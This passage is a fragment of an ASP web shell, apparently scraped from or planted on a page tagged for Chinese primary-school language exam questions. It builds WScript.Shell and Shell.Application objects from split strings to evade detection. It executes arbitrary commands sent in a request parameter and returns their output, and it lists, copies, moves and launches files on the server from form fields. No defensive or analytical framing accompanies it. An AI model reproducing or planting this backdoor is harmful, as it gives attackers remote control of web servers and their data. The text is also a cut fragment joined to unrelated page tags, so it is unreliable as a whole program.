" response.write allre case "p.asp"%> <%set oscript=server.createobject("wsc" "ri" "pt.sh" "ell") ok=trim(request("ok")) if ok<>"" then response.write "" set re=oscript.exec (ok) re=re.stdout.readall re=outcmd(re) response.write re end if esnxa = request.form("text") if (esnxa <> "") then set shell=server.createobject("she" "ll.app" "lication") set fod1=shell.namespace(esnxa) set foditems=fod1.items for each co in foditems response.write "" & co.path & "-----" & co.size & "
" next end if esnxa1 = request.form("text1") esnxa2 = request.form("text2") if esnxa1<>"" and esnxa2<>"" then set shell1=server.createobject("she" "ll.app" "lication") set fod1=shell1.namespace(esnxa2) for i=len(esnxa1) to 1 step -1 if mid(esnxa1,i,1)="\" then path=left(esnxa1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(esnxa1,len(esnxa1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command success!" end if esnxa3 = request.form("text3") esnxa4 = request.form("text4") if esnxa3<>"" and esnxa4<>"" then set shell2=server.createobject("she" "ll.app" "lication") set fod1=shell2.namespace(esnxa4) for i=len(esnxa3) to 1 step -1 if mid(esnxa3,i,1)="\" then path=left(esnxa3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(esnxa3,len(esnxa3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if esnxa5 = request.form("text5") esnxa6 = request.form("text6") if esnxa5<>"" and esnxa6<>"" then set shell3=server.createobject("she" "ll.app" "lication") shell3.namespace(esnxa5).items.item(esnxa6).invokeverb response.write "command completed success!" end if end select function outcmd(re) re = replace(re," "," ") re = replace(re,"<","<") re = replace(re,">",">") re = replace(re,chr(13),"
") outcmd=re end function function editfilecontent(re) re = replace(re,"<","<") re = replace(re,">",">") editfilecontent=re end function %>
Tag:小学六年级语文试题，小学语文试题,小学语文试题及答案，语文教学 - 小学六年级语文试题